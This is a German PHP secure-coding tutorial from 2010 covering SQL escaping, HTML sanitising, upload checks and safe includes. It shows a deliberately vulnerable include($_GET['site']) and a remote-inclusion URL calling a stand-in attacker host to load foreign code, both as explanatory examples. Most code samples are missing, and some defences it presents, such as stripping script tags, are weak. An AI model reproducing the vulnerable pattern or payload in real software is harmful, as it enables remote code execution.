|
Aus der Kategorie:
PHP
Mittwoch, 02. Juni 2010 (Zuletzt aktualisiert am Mittwoch, 16. Juni 2010) |
|
|
EinleitungZiel ist es, festzustellen mit welchen Methoden und Grundsätzen man möglichst sicherere Anwendungen in PHP schreibt, der Fokus liegt dabei natürlich bei PHP Anwendungen, ferner auch bei der sicheren Software-Entwicklung im Allgemeinen. Nach ObenKonzeption der WebanwendungNoch vor der Umsetzung einer Idee sollte immer bedacht werden, welche Funktionen eine Website erfüllen soll, um so „Das große Ganze“ sehen zu können, bevor auch nur eine Zeile Code geschrieben wurde. Hat man den Plan im Kopf und auf Papier lassen sich eventuell sicherheitskritische Funktionen leichter identifizieren. Wenn man erst einmal weiß an welcher Stelle eventuell Sicherheitsprobleme auftreten können, kann man die Lösung dieser Probleme auch gleich in seine to-do Liste aufnehmen. Zum einen gilt es Grundsätzliches zu definieren:
Zum anderen muss die Webanwendung sicher aufgebaut sein und eine einheitliche Prozess-Struktur aufweisen können. Dazu gehört unter anderem das Verwenden von Klassen und die Deklaration von privaten bzw. öffentlichen Eigenschaften oder Methoden. Damit ein einheitlicher Stil verwendet wird und damit z.B. vor nicht deklarierten Variablen gewarnt wird, empfiehlt es sich in der Entwicklungsphase das Error-Reporting einzustellen. Dies kann man entweder in der PHP.ini einstellen oder auch zu Beginn des auszuführenden Programms definieren. <?php Mit dieser Einstellung kann man sich eventuelle Debugging Aufwände im Nachhinein ersparen und stellt sicher, dass ein einheitlicher Stil verwendet wird. Nach der Entwicklung der Anwendung sollte der Error Level auf ein Minimum gestellt oder ganz deaktiviert werden, so nimmt man dem Angreifer die Möglichkeit, anhand von Fehlermeldungen auf Sicherheitslücken schließen zu können. <?php error_reporting(0); ?> Nach ObenDaten sicher abspeichernIm Breich Datenverarbeitung gibt es Folgendes zu beachten. Datentypen sinnvoll verwendenWenn es darum geht, Daten in einer Datenbank zu hinterlegen muss geprüft werden ob die Daten dem entsprechen was erwartet wird. Außerdem macht es Sinn manuell Datentypen zu vergeben, wenn dies nicht schon im Vorfeld passiert ist. Beispiel: <?php Der Vorteil hierbei ist, dass aus (int) $intNumber immer ein Integer Wert berechnet wird, egal welche Zeichen wirklich vorhanden sind. Enthält die Variable eine Zahl als String so wird der String einfach als Zahl umgewandelt, enthält die Variable einen alphanumerischen String wird entweder nur ein Teil oder eine 0 als Zahl zurückgegeben. HTML säubernUnter Umständen macht es Sinn, HTML Code direkt in der Datenbank (oder einer Datei) zu speichern. Dabei läuft man natürlich Gefahr, dass der abzuspeichernde Code, unerwünschte Bestandteile enthält. Der String der abgespeichert werden soll, muss also auf jeden Fall bearbeitet werden, bevor er abgespeichert wird. Wenn HTML zugelassen werden soll, aber Javascript Code zum Beispiel nicht, empfiehlt es sich den String insofern zu bearbeiten, dass unerwünschte Segmente einfach ausgeschnitten werden. Javascript Code, der ausgeführt werden soll, beginnt immer mit <script> und endet mit </script> Mit diesem Wissen ist es möglich einfach den vorhanden String so zu bearbeiten, das Code Sequenzen die so beginnen und enden, entfernt werden. Beispiel: <?php Das Selbe verfahren lässt sich auch mit referenzierten Javascript Dateien durchführen, die mittels <script src=“…“ …> eingebunden werden. $_GET und $_POSTDie Arrays $_GET und $_POST werden hauptsächlich verwendet um die Anwendung zu steuern, PHP füllt diese Arrays mit den Daten die der Benutzer per GET und POST Methode an den Webserver gesendet hat. Es kann sich also möglicherweise um gefährliche Inhalte handeln, hier gilt es jegliche Art von Injections zu verhindern. Strings escapenUm sicherzustellen, dass ein String keine SQL Injection darstellen kann, muss sichergestellt werden, dass der String den man in die SQL Query einbaut nicht die das eigentliche SQL Statement verändert. Die einfachste Methode dies zu bewerkstelligen ist das escapen von Strings, also das Maskieren von Sonderzeichen. Beispiel: <?php Jetzt ist sichergestellt, dass alle Sonderzeichen in $name maskiert sind. Ein ' wird so beispielsweise zu einem \' und kann das Statement nichtmehr verändern. Lässt man diese Sicherheitsmaßname aus, hat der Angreifer es sehr leicht, SELECT Statements so umzubauen, dass er fast beliebige Daten auslesen kann. Datei UploadsMit Formularen, kann man es dem Besucher ermöglichen Daten hochzuladen, bis hierhin geht noch keine wirkliche Gefahr von den Daten aus. Der Benutzer soll zum Beispiel ein Bild hochladen können. Führt man keine weiteren Überprüfungen des hochgeladenen Bildes durch ermöglicht man dem Angreifer das hochladen von PHP Code. Er könnte zum Beispiel die Datei bild.php hochladen. Wenn dann die Datei abgelegt wird und später wird diese eingebettet würde die Webapplikation einen Quellcode wie folgenden bauen: <img src="/bild.php" /> Da die Datei die Dateiendung .php hat, wird der Inhalt des Scripts auf dem Webserver ausgeführt, da dieser so konfiguriert ist, Dateien mit der Dateiendung .php vom PHP Interpreter ausgeführt werden. Es kann also durchaus sein, dass als Ergebnis ein Bild an den Benutzer geschickt wird der das Bild abruft, dafür muss nur der Datei Header im Script in der Datei neu gesetzt werden. Der restliche Code wird trotzdem ausgeführt. Auf diesem Weg können z.B. SESSION Variablen ausgelesen werden. Um dieses Szenario zu verhindern, macht es Sinn von vorneherein die hochgeladene Datei genauestens zu überprüfen. Im ersten Schritt sollte man mittels Javascript feststellen, welche Dateiendung die Datei hat, die aus dem Datei hochladen Dialog ausgewählt wurde. Natürlich kann man JavaScript Überprüfungen umgehen, also muss auch auf Server-Seite überprüft werden, um welche Daten es sich handelt. Wichtig ist auch nicht nur auf ein Vorkommen der gewünschten Dateiendung im Dateinamen zu prüfen sondern sicherzustellen, dass die letzen Zeichen hinter dem letzten Punkt der Datei dem entsprechen, was erwartet wird. Beispiel: <?php Jetzt muss nur noch überprüft werden ob die ermittelte Dateiendung eine erlaubte ist, und wenn nicht muss die hochgeladene Datei wieder gelöscht werden. Auf gar keinen Fall darf die Datei aufgerufen werden bevor Sie überprüft wurde. Nach ObenDaten sicher laden und anzeigenJede Webanwendung basiert darauf, dass es einer der ersten Schritte ist, zu entscheiden, welche Daten dem Benutzer präsentiert werden sollen. Um zu verhindern, dass die falschen Daten angezeigt werden gibt es mehrere Möglichkeiten. Sicherer IncludeWenn die Webanwendung per include() Funktion auf Daten zugreift und diese einbindet müssen einige Grundsätze eingehalten werden.
Beispiel: Die Webanwendung lädt Inhalte je nachdem was der Wert des Parameters site ist. Bei dem Wert home.php wird die Datei home.php aus demselben Verzeichnis geladen. Der Aufruf der URL sähe wie folgt aus: http://www.site.com/index.php?site=home.php Die entsprechende Funktion in PHP sieht wie folgt aus:
<?php include( $_GET['site'] ); ?>
http://www.site.com/index.php?site=http://badserver.com/evilcode.php Nun würde das unsichere Script (sofern denn die Servereinstellungen ein laden von entfernten Dateien zulassen) die Datei vom entfernten Server laden, in dieser Date könnte beliebiger Code stehen, der auch ausgeführt werden würde. Um diese Sicherheitslücke von vorneherein zu umgehen macht es Sinn, eine Funktion nur für diesen Zweck zu erstellen. <?php Mit diesem Code kann nur noch eine Datei aus dem definierten Ordner content geladen werden. Um zusätzlich sicherzugehen, dass in keinem Fall ein include auf eine Datei auf fremden Systemen zugelassen wird, sollte der entsprechende Eintrag in der PHP.ini gesetzt werden: allow_url_include = Off Das Gleiche lässt sich mit dem öffnen von Dateien durchführen:
allow_url_fopen = Off
<?php Um wirklich sicherzugehen, dass nur erlaubte URL´s aufgerufen werden, sollte man mod_rewrite benutzen. Mit diesem Modul, kann man die URL´s des Benutzers für interne Zwecke umwandeln und z.B. überprüfen. In dem Fall würde aus der URL http://www.site.com/home/ Intern die URL http://www.site.com/index.php?site=home geformt. Validieren von geladenen DatenEs kann durchaus vorkommen, dass Daten eingelesen werden müssen, die nicht von der eigenen Anwendung erstellt wurden, somit sind diese Daten grundsätzlich als gefährlich einzustufen. Beispiel: Die Webanwendung soll aus einer definierten Datei Inhalte lesen und an einer anderen Stelle ausgeben. Da die Datei von einer fremden Instanz erzeugt wurde, könnte sich eventuell bösartiger Code in der Datei verbergen. Es wäre denkbar, dass es sich um eine Datei handelt in der HTML Code erwartet wird, beispielweise die Inhalte für einen Newsticker. Denkbar wäre es, dass die Anwendung die Inhalte eins zu eins ausließt, zwischenspeichert und an der gewünschten Stelle ausgibt. Dies wäre per include(); oder require(); machbar. Wenn jetzt aber PHP Code in diese Datei eingeschleust wurde, wird dieser auch auf jeden Fall ausgeführt. Sicherer ist es die Inhalte der Datei auszulesen, zwischen zu speichern und zu validieren. <?php Die Funktion isValid() könnte in diesem Fall überprüfen ob <?php in der Datei vorkommt, ob unerwünschter JavaScript Code vorhanden ist etc.
|